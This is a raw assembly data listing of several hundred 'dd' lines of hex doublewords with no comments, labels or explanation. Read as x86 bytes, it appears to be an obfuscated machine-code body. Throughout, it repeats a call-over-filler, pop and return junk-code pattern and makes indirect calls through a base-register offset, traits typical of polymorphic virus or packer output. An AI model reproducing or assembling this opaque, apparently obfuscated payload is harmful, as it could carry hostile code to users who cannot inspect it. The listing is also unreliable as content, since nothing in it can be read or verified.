dd 0A48B17B0h, 0B52900B0h, 7E0154Dh, 896070E6h, 0E023158Dh
dd 8961F507h, 0E015698Dh, 6A71E407h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0ADB5C355h
dd 9FF160E8h, 0BE66A56Eh, 0B60F17D0h, 72E3BED8h, 6BA161Eh
dd 0F8000000h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 8660A7C3h, 4CDFF07Eh, 890F7E7Eh
dd 3, 0C1FBBF0Fh, 6A04E8h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 8529ACC3h, 7E025ADh
dd 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0B4CAC356h, 813FC5C3h, 78B2B1CFh
dd 6AD82B7Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 780CC355h, 600DD71Ch, 18E0Fh
dd 89F90000h, 0E006DD95h, 66936107h, 50F59DBFh, 48A0F93h
dd 53000000h, 0FF5E5F53h, 0E01391B5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0FA5D4CFh, 385h, 0FABF0F00h, 10A98529h, 95FF07E0h, 7E018A9h
dd 0DDBD8B60h, 0F07E030h, 685h, 9DB58900h, 6107E02Dh, 6A00B0h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 4FEDCAC3h, 84C3E5CBh, 8B353B08h, 65BD8BF2h, 0E607E014h
dd 0EE970h, 0FFF30000h, 36045B5Dh, 2BA051A9h, 0AA82826Ah
dd 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 37D659C3h, 4A696895h, 613C9225h, 1ED830Fh
dd 0DE90000h, 95000000h, 0FA809F83h, 7218B42h, 0D793348Bh
dd 29D8B60Fh, 0E025FDB5h, 0DAD78107h, 0BA39014Fh, 6, 1361B58Bh
dd 0C38B07E0h, 0B800Fh, 6E90000h, 52000000h, 0A886A21Ah
dd 4E8C19Bh, 66F28B66h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 3C44E0C3h, 0F519589h
dd 0D82B07E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0A9C35747h, 0FE958h, 24400000h, 0B6C16A88h, 63C9AC73h
dd 0BB864767h, 0FD82B08h, 14688h, 7B9F800h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0CC0BC353h, 0E20E3F14h, 69B50B19h, 8307E01Ah
dd 8C0F00C1h, 0Ah, 5E9h, 0BDCBE700h, 0D93B3894h, 0FD860Fh
dd 9E90000h, 0C4000000h, 91DB79B2h, 5C53926Bh, 8C665E57h
dd 0C1F6F9D9h, 0B3840F04h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6A5EC357h
dd 8169C1C7h, 66F08B93h, 606DF681h, 1AE995FFh, 0BD0B07E0h
dd 7E00559h, 6840Fh, 0BD8B0000h, 7E010C1h, 0FB8B665Bh
dd 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 0C5B161C3h, 276C4275h, 8B66CB21h, 8343DF7h
dd 860F0000h, 3Ah, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0E1C35040h, 0E889CB83h, 0EFED6ABCh, 5860Fh
dd 5FBE0000h, 0E9653A1Ah, 33h, 1CCDB58Bh, 0C08B07E0h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 94247C8Ah
dd 6BD31081h, 9D9589E4h, 8B07E004h, 6AD88BC3h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 9C1C356h, 0E02DB58Dh, 7585C707h, 7107E014h, 89709633h
dd 0E012699Dh, 8BC08B07h, 91BD81F3h, 0D007E013h, 0F000007h
dd 5A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 36A995CEh, 29683A44h, 0E01EBD85h
dd 9185FF07h, 6A07E013h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0AF01C352h, 4DE17498h, 0BF669B77h, 8166F531h
dd 0FF7ED9DEh, 0E01391B5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BD8BEC13h
dd 7E01D1Dh, 18A995FFh, 858907E0h, 7E026E5h, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0EE807h, 0EA410000h, 0CF2A278Fh, 0F7FCEAFCh, 1C3C3B21h
dd 1931B58Bh, 605F07E0h, 15F59589h, 0E96107E0h, 5, 0F621B806h
dd 51006A3Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0E542447Eh, 8BA2DBD4h, 0E023BDBDh, 31B58B07h
dd 6A07E010h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 8BC2C357h, 0E020A9B5h, 1D9D8907h
dd 2907E02Bh, 0E012699Dh, 2D952907h, 0F807E02Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 50C35242h, 0B8359A7Eh
dd 6620F9E6h, 6AF98Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 78BEF9C3h, 0BD8BD3CEh, 7E000E5h
dd 6AF18B66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 6A47C357h, 9691946h, 0C9D288DCh
dd 2919BD8Bh, 0BF6607E0h, 31E9AADAh, 0FFFFFF8h, 88Ah, 895E5300h
dd 0E01AD1B5h, 0DF816607h, 6A60699Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B596C352h
dd 20AC9CBEh, 29DB8166h, 0FFFEB953h, 6AFFFFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 1F72EBC3h
dd 3840FA8h, 66000000h, 8D21FA8Bh, 7E01359h, 0CE9h, 0E5B71F00h
dd 0EB294377h, 9D2798D8h, 0CE82Bh, 0AAB20000h, 2C33E5FBh
dd 3BD6B5BEh, 215E588Bh, 0E000E18Dh, 8D8BF507h, 7E01359h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D5C35141h
dd 0FDC3EC74h, 9D8B6A75h, 7E02C35h, 0F01E183h, 2985h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 64C0189Dh, 66BD6CE0h, 0B815E281h, 8D8BD38Bh, 7E000E1h
dd 191BD09h, 0E18307E0h, 6850F01h, 81000000h, 0D6C7ADCFh
dd 6A606115h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0F4C5C350h, 5CB9D5AFh, 4D881EEh
dd 0B93B2321h, 0FFFFFFFEh, 1555858Bh, 21F907E0h, 0E008BD8Dh
dd 92E88107h, 6651330Ch, 2125E5BAh, 0E01B1D8Dh, 1958907h
dd 8B07E023h, 0E008BD8Dh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0D2D8217h
dd 0F01E183h, 3B85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 66B78AF2h, 41A77598h
dd 10E9h, 84FDE000h, 9914A692h, 5873A2A9h, 0FA8EC9E1h
dd 58F85040h, 1B1D8D8Bh, 36007E0h, 0E000CDB5h, 9D896107h
dd 7E01C75h, 0F01E183h, 2485h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0E667CCCCh
dd 0E780507Eh, 8B60618Ah, 0FFFEB9D9h, 6AFFFFh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 593499C3h, 0F1D99B0h, 8D21F7BFh, 7E016A1h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 8FC35141h, 0D32AC3E3h
dd 7058523h, 8D2107E0h, 7E01E01h, 8B08F680h, 0E016A18Dh
dd 398D2907h, 8307E004h, 850F01E1h, 2, 8D8B6FB4h, 7E01E01h
dd 19958D89h, 816607E0h, 83FD92EEh, 850F01E1h, 23h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2CC35040h, 88868286h
dd 615C8CACh, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 59B84EFCh, 8166E5BCh, 0B95565C0h
dd 0FFFFFFFEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 0C1C35545h, 6E9h, 6E840900h, 219030BCh, 0E020E98Dh
dd 4DBD8907h, 2107E015h, 0E014758Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 41B6449h, 8BD75176h
dd 0E020E98Dh, 1E18307h, 1F850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0FEC608C3h
dd 758D8B06h, 6A07E014h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0F75CC351h, 1E18381h
dd 38850Fh, 0CE80000h, 79000000h, 0C0E7AF96h, 826DA65Dh
dd 0E8468A1Bh, 13h, 533CC000h, 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh
dd 666A45CEh, 5F64DEBAh, 3800F5Fh, 80000000h, 60618AD8h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 84C35242h
dd 85C70A21h, 7E01391h, 7D0h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 7C35141h, 6A61DED2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0FB88C356h, 920B3403h, 80D7BF0Fh, 0B509B6EAh, 7E02F6Dh
dd 9D6107EBh, 0E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0AEF161D2h, 9C03EFEh
dd 0E02C899Dh, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 8070144Fh, 0C18B8ADEh
dd 71BD8B60h, 8B07E030h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 0F683A44h, 689h, 19BD8900h
dd 0E807E029h, 13h, 0AC131155h, 90E58669h, 0CD28FAA6h
dd 0C261A569h, 0FF3F26Eh, 18Eh, 0BF59F500h, 0B6E45AFh
dd 6B1BD83h, 750007E0h, 0C5BD8309h, 7E001h, 53501974h
dd 38B8C08Bh, 89000004h, 0E020F585h, 629D8D07h, 0FF07E2BCh
dd 83585BD3h, 0E001C5BDh, 17740007h, 38B85350h, 89000004h
dd 0E020F585h, 519D8D07h, 0FF07E2B9h, 3585BD3h, 0E01D658Dh
dd 0EE907h, 89730000h, 9FB02FC0h, 0C2166017h, 0D7C7A05Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 4DC35646h
dd 5A5683D6h, 0A4DD8785h, 490AB966h, 6AC08Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DD303FC3h
dd 0E8CE8B66h, 832h, 20218531h, 858907E0h, 7E006D5h, 0E8F38B66h
dd 81Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 81C35343h, 0BE9E1C71h, 78D1A0B3h, 58D0Fh, 0B1B90000h
dd 890BE688h, 0E00F5985h, 0F851B907h, 0DFE86492h, 6A000007h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 94DCC352h, 38527F19h, 5A81FE9Bh, 1B418589h
dd 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 18F061C3h, 4C34E69Dh, 81F13FBDh, 0E0E805E6h
dd 784E853h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0A10C71C3h, 0DAEF810Ch
dd 895FDF32h, 0E01BF585h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 493F8582h
dd 0AD9F86B3h, 0E15B58Bh, 2BE807E0h, 6A000007h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 213C355h, 0B58BA283h, 7E00741h, 20DD8589h, 0E8F807E0h
dd 6FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 88C35545h, 5E19D58Fh, 0E8DB8D75h, 0Fh, 0A3A39605h
dd 86DC5F5Eh, 0C9F333B2h, 0F9FD838h, 386h, 0F18B6600h
dd 5D85895Fh, 907E008h, 0E01CA595h, 6A8E807h, 800F0000h
dd 6, 4D18D89h, 858907E0h, 7E004A9h, 8FE8F78Bh, 6A000006h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 40FEC353h, 0E9B50178h, 8907E00Fh, 0E02A3585h
dd 6E907h, 85680000h, 0DA7E90EDh, 0E8F28B66h, 652h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 22C35040h, 53D1D8DAh
dd 0AD858905h, 6A07E012h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 86DC355h, 25FAB58Ah
dd 19B58B02h, 0E807E000h, 5FEh, 39852960h, 107E004h, 0E008E18Dh
dd 85896107h, 7E02A5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 93C35141h, 634EC9A1h, 8166B302h, 0E85E15C7h
dd 8, 0DA69185Ch, 0F7D619DDh, 2098D89h, 0B15F07E0h, 5A8E82Bh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0F977EEC3h, 0A7A3BF66h, 9E8h, 0B1CD6000h
dd 4C76C9F9h, 12E89547h, 73000000h, 0E5DA614Dh, 4253D8FCh
dd 0FEE3DC2Ah, 9DBC3119h, 55B58B62h, 5907E01Bh, 0A185895Fh
dd 6007E007h, 0E98153F8h, 237979A3h, 43E8615Eh, 81000005h
dd 0B45409CFh, 0C585893Eh, 8B07E023h, 0E02565B5h, 0B5B96607h
dd 528E80Ah, 7E80000h, 0A5000000h, 0E65AB1BCh, 8959658Bh
dd 0E0126185h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 1C81E814h, 0EFE84FCEh
dd 8B000004h, 0E00E1DBDh, 49858907h, 8907E01Eh, 0E034459Dh
dd 4D8E807h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0BF0FBBC3h, 0E58589F6h, 8907E022h
dd 0E0257DBDh, 4A8E807h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 9B8DB5C3h, 319589FDh
dd 8907E032h, 0E0128DB5h, 0B9858907h, 6A07E007h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 25FEC350h, 7FA5C74Eh, 0D436394Eh, 16719D89h, 0B007E0h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0ACC35646h
dd 0E86F3909h, 8D8B5312h, 7E02E69h, 0D8B60F5Fh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 89C35242h, 16AD8D8Bh
dd 0AE807E0h, 0A3000000h, 3C4F0898h, 0D0196F50h, 0A53BE55h
dd 0BA5F5C34h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 82C35141h, 8BA9E180h, 51006AC3h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 38ABA0D1h
dd 0C30946DAh, 0B589AB48h, 7E01119h, 6604E8C1h, 0B589E2F7h
dd 7E00029h, 8D0BD82Bh, 7E02A6Dh, 0C78A6050h, 241C8961h
dd 1AE995FFh, 9D8907E0h, 7E02D2Dh, 53006A5Bh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 78274D91h
dd 84EBD571h, 148B0Fh, 0FE90000h, 0E2000000h, 4035928Dh
dd 45DDEE49h, 58FA36E7h, 958D49BEh, 7E022ADh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 5BC35141h, 0AE9AAB9h
dd 0BE000000h, 37E4836Ch, 0DEFF5EC3h, 6A1A8951h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 1671C351h, 800F2421h, 6, 1F698D89h, 428907E0h, 0FE8B6604h
dd 12FD958Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0E91C99C3h, 14h, 0DF98E090h, 510BC924h
dd 9035E212h, 23591956h, 2F1BEDDEh, 0BD2B1A89h, 7E01C45h
dd 8D044289h, 0E0126D95h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 25B8FA96h
dd 4493D358h, 0FDBD8BC1h, 8907E01Ch, 53006A1Ah, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C23C4143h
dd 5E9EF7Bh, 54000000h, 0C3600A0Ah, 6A044289h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 6675C352h, 0BC09E781h, 2850F51h, 60000000h, 958D5F61h
dd 7E033A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 66C35646h, 0EEC0C2CBh, 0ACF68166h, 6A1A8950h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0CDC1C355h, 0E5416A08h, 89F88311h, 6A0442h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0A80CA2C3h, 12F99589h, 958D07E0h, 7E008B1h, 1A89FA8Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 71C35747h
dd 8B7D52E2h, 0E02D698Dh, 4428907h, 13D5BD29h, 958D07E0h
dd 7E0317Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 32C35040h, 0A1645F36h, 0D9BD8BB4h, 8907E004h, 0F1B5331Ah
dd 8907E02Fh, 0BF0F0442h, 1958DCAh, 6A07E026h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8930C355h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 667826FCh, 0EEC0C2CBh, 1175B58Bh
dd 428907E0h, 958DF504h, 7E01A3Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 1BC35242h, 90F43875h, 0CE8DFh
dd 149F0000h, 1DD8D600h, 0E2309E55h, 0D980189Bh, 1A895E8Ah
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 32C35646h
dd 0A38BF401h, 18C58D89h, 428907E0h, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B7C58B86h
dd 8B66048Bh, 0E1BD89CFh, 0E907E018h, 0DCh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 17C35141h, 0B756B66Ah
dd 0FD7A8E2h, 6AF6BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 1AC35545h, 0AE84970h, 29000000h, 40BBFE75h
dd 0D4C5961Fh, 1DB509FBh, 5E07E00Eh, 6A006Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9529C9C3h
dd 7E033A1h, 0D181006Ah, 1AB2318Dh, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 835327C3h
dd 0DE93BE66h, 1AA595FFh
dd 0BF0F07E0h, 6AC3F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 9E2DEDC3h, 0BD2BD5D8h, 7E03135h
dd 6AC58Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0DFF435C3h, 23658D31h, 0C08B07E0h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 47C35242h, 3CDFB90Eh
dd 0E7BE71C1h, 8334A242h, 0E006B1BDh, 9750007h, 1C5BD83h
dd 740007E0h, 8B535019h, 438B8C0h, 85890000h, 7E02399h
dd 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
dd 438B853h, 85890000h, 7E02399h, 0B96A9D8Dh, 0D3FF07E2h
dd 0BF0F585Bh, 0B18D33C8h, 8A07E010h, 8DC08BCCh, 0E013C985h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0DAD18E0h, 0E9609CD2h, 14h, 0FC83C423h
dd 0FD7A625Eh, 40145F26h, 0B659123Eh, 0C4B8B37Bh, 5090EBB7h
dd 8E952h, 5C120000h, 19DE3719h, 310F7051h, 585AC0B7h
dd 8B75050h, 3BB905Bh, 0F4EFE6Fh, 6AFFBFh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B6C35343h, 0FBB9EA63h
dd 6A5D8E22h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 1DCA3B67h, 7BB53DFh, 0A9B3A335h
dd 10870Fh, 0BE90000h, 4000000h, 0A2F76793h, 59E36D41h
dd 858DD305h, 7E453E9h, 9E9h, 75ACBF00h, 42BFDA23h, 0C083685Eh
dd 55BB6605h, 6060509Fh, 0BE8h, 8184DA00h, 8672D060h, 29E138F8h
dd 61616059h, 1010B3B8h, 4896134h, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0C77C1BFCh
dd 89006AB3h, 0E025EDB5h, 6A006A07h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E883C353h
dd 7, 0D4B2211Ch, 81AB04FEh, 8BE72D7h, 95FF5F3Dh, 7E03441h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h
dd 0F59D8BF5h, 8D07E028h, 0E3A3938Dh, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0A21102C9h, 0D1FFC18Bh, 12319D8Bh, 575607E0h, 8619529h
dd 5B5B07E0h, 16B1BD83h, 0F0107E0h, 5C85h, 0A1952900h
dd 6A07E033h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 0DB16DB68h, 0D5E272B4h, 810FB09Eh
dd 6, 112D9501h, 509007E0h, 8D0F50h, 5B000000h, 880F505Bh
dd 2, 0B7904EB7h, 9995FF57h, 8907E02Ah, 0E011BDBDh, 0E12E907h
dd 0E80000h, 5D000000h, 53F3ED81h, 6A07E4h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F5151DC3h
dd 4B2F21E3h, 0F5FEBF0Fh, 8699589h, 858D07E0h, 7E39463h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3DC35646h
dd 0F765DE6Bh, 41A50910h, 5077CB80h, 13E9h, 0BA49A400h
dd 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 24650D3Eh, 6A240489h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0BE40C353h, 38C0F61h, 0F000000h, 0FF64DEBFh
dd 35h, 9BD8900h, 6407E01Bh, 2589h, 0BD8B0000h, 7E007ADh
dd 20FD85FFh, 816607E0h, 6A344AEBh, 50006AFFh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0AB70E7Ah
dd 0A7B5E98Bh, 6D5B5FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0CC4B07C3h, 5FCE0D4h
dd 8995FF98h, 0E907E033h, 106h, 0E1C38166h, 8000B0EBh
dd 70E6E6CFh, 19C18589h, 71E407E0h, 3CDBB70Fh, 0E7830F61h
dd 89000000h, 0E03261B5h, 0C8B60F07h, 25A1BD8Bh, 6BA07E0h
dd 0F8000000h, 0B70FC18Bh, 4E8C1DAh, 0CE9h, 0DFEB8600h
dd 9DA8C8D1h, 7D995036h, 66D88BB1h, 0B501E2F7h, 7E02AD5h
dd 8BFCC82Bh, 6E9FCD1h, 89000000h, 0E006BD9Dh, 0AD858B07h
dd 6607E022h, 728D381h, 8B07C083h, 0E0346D9Dh, 0C08307h
dd 2CA1BD89h, 0E96007E0h, 0Eh, 5DA817Eh, 0B5240BD6h, 0F35A0C74h
dd 0BD8BE7C6h, 7E01455h, 0FD03B61h, 1183h, 0F9B58900h
dd 0E907E028h, 52h, 33D98501h, 8D8B07E0h, 7E016A1h, 0BE8h
dd 0E9CCEE00h, 30509B0h, 0AB4FCDDEh, 5FDF8B66h, 0E9D38166h
dd 1E18372h, 24840Fh, 95890000h, 7E03015h, 16A1A583h, 89FE07E0h
dd 0E0197185h, 0AD958907h, 8B07E022h, 0E020D9BDh, 0E907h
dd 0B58D0000h, 7E3E9D7h, 1A519D29h, 6A07E0h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 7DC35141h, 0FFDA8B66h
dd 0E018A995h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0ED9D8B94h, 0B907E01Fh
dd 7AFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 5C35040h, 42612573h, 5E48E020h, 0F9B70F16h, 6AFCE183h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 0EAE1C355h, 0E0213A2Fh, 0FCF8B70Fh, 6890Fh
dd 0C3810000h, 43285F23h, 0B8h, 559D0900h, 8907E015h, 0E030819Dh
dd 0FD22B07h, 0C88h, 68C0F00h, 0F000000h, 80h, 0C233AD00h
dd 0D003E8D1h, 7504E983h, 0F1BD8BF4h, 6A07E029h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0A57EC353h, 0EB1E9CF0h, 8D8912D7h, 7E01331h, 0DFAB70Fh
dd 88h, 23759D0Bh, 958B07E0h, 7E01815h, 1B85BD89h, 8D8B07E0h
dd 7E02049h, 33F19D8Bh, 8B5007E0h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 4D1BD01h, 0BD8B07E0h, 7E01579h
dd 2F699D89h, 0BD8307E0h, 7E012F5h, 9A840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 74DEC353h, 0FAC8B9Fh, 681h, 0B58D8900h, 0B807E02Ah
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h
dd 7C9AFF3Ah, 0FB40654h, 18Dh, 6060F500h, 898D89FCh, 6107E014h
dd 8D615F52h, 0E04EE88Dh, 519D2B07h, 0FF07E02Eh, 56006AE1h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0CE38AF21h, 1DEF8166h, 0C5BD83EBh, 7E022h, 531840Fh
dd 0BD830000h, 7E022C5h, 3F840F01h, 6A000005h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 44ECC353h, 81660A88h, 838AE0CBh, 0E022C5BDh, 860F0307h
dd 4D8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0EEC35545h, 0AC2A32FDh, 0FA8B6036h, 6AD98C66h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 5F28C357h, 0EE9A6h, 0CE980000h, 55F9DB3h
dd 1DFC1899h, 0DF284C51h, 6A04E180h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 381DC356h
dd 8106CBBh, 59D0155h, 0A07E01Eh, 83840FC9h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0BB22C352h, 0E6029C14h, 0F5BD8963h, 6607E004h
dd 64BED381h, 3399858Bh, 0B58907E0h, 7E02919h, 31898533h
dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0EDA472C3h, 0F506C79h, 8Fh, 9D895B00h, 7E01B49h
dd 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 34C35747h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 0F49929C3h, 291C7F03h
